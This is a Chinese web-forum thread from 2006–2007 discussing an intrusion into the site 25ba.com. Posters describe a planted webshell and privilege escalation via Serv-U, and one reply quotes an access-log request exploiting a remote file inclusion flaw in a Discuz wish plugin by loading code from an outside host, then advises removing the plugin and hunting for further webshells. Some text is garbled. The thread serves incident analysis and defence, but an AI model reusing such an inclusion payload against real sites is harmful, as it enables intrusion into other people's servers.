25ba.com漏洞攻击记录

owshine · 发表于 2006-12-16 12:03:58

应该是222.172.132.130，拿到一个WEBSHELL（文件名/bbs/ring04h.php，现已经不存在），通过serv-u提权，整个虚拟主机上的站都被他看了看。整个服务器危险啊。。。

huangwei_joy · 发表于 2006-12-19 17:06:44

看都看晕了...还解什么啊.......

303331 · 发表于 2006-12-21 02:05:00

谢谢21楼的`  我又仔细看了下`

估计也是这个问题！

但是你说  /bbs/ring04h.php不在`了`` 我就不清楚了

按道理  我恢复的时候  只是把原来的文件全部上传上去了

如果问题存在应该依然存在的`

331699266 · 发表于 2006-12-25 15:20:24

:L

雪中情 · 发表于 2006-12-27 10:39:38

眼睛都花了。。。。。

cnfreeos · 发表于 2006-12-30 19:13:58

是从这里进去的,利用一个未过滤的变量discuz_root,远程文件包含漏洞
222.172.132.130 - - [21/Oct/2006:01:09:51 +0800] "GET /bbs/wish.php?discuz_root=http://zhaoshang.sohu.com/cc.txt? HTTP/1.1" 200 292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

赶紧卸掉你的什么许愿的插件,不知道谁修改的一个愚蠢的漏洞,discuz_root居然没过滤.应该就在wish.php的前几行，这个应该是个常量的.
我们已经发了好多次公告了,但是还是有相当一部分站点在使用这个插件.

楼主可以把被入侵的机器的账户信息告诉给我们的安检的同事.先卸掉那个插件,细翻番论坛目录下忻挥衅渌?膚ebshell,还有有没有上传其他用于提升的exploit

另外这个zhaoshang.sohu.com也不知道谁管理的，发现2三次入侵事件都和它有关。可能早已经被own了。

[ 本帖最后由 cnfreeos 于 2006-12-30 19:16 编辑 ]

户县朋友 · 发表于 2007-1-23 13:29:27

支持楼上下~~真强啊~~!!!

ztboy · 发表于 2007-4-17 22:20:42

你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!你太有才了!!!!!!!

58458314 · 发表于 2007-4-22 18:43:03

楼主发这个有嘛意思管我们P事

haifengxue · 发表于 2007-4-24 21:46:59

看不明白!看不明白!

		自动登录	找回密码
密码			立即注册

25ba.com漏洞攻击记录

回复 #21 owshine 的帖子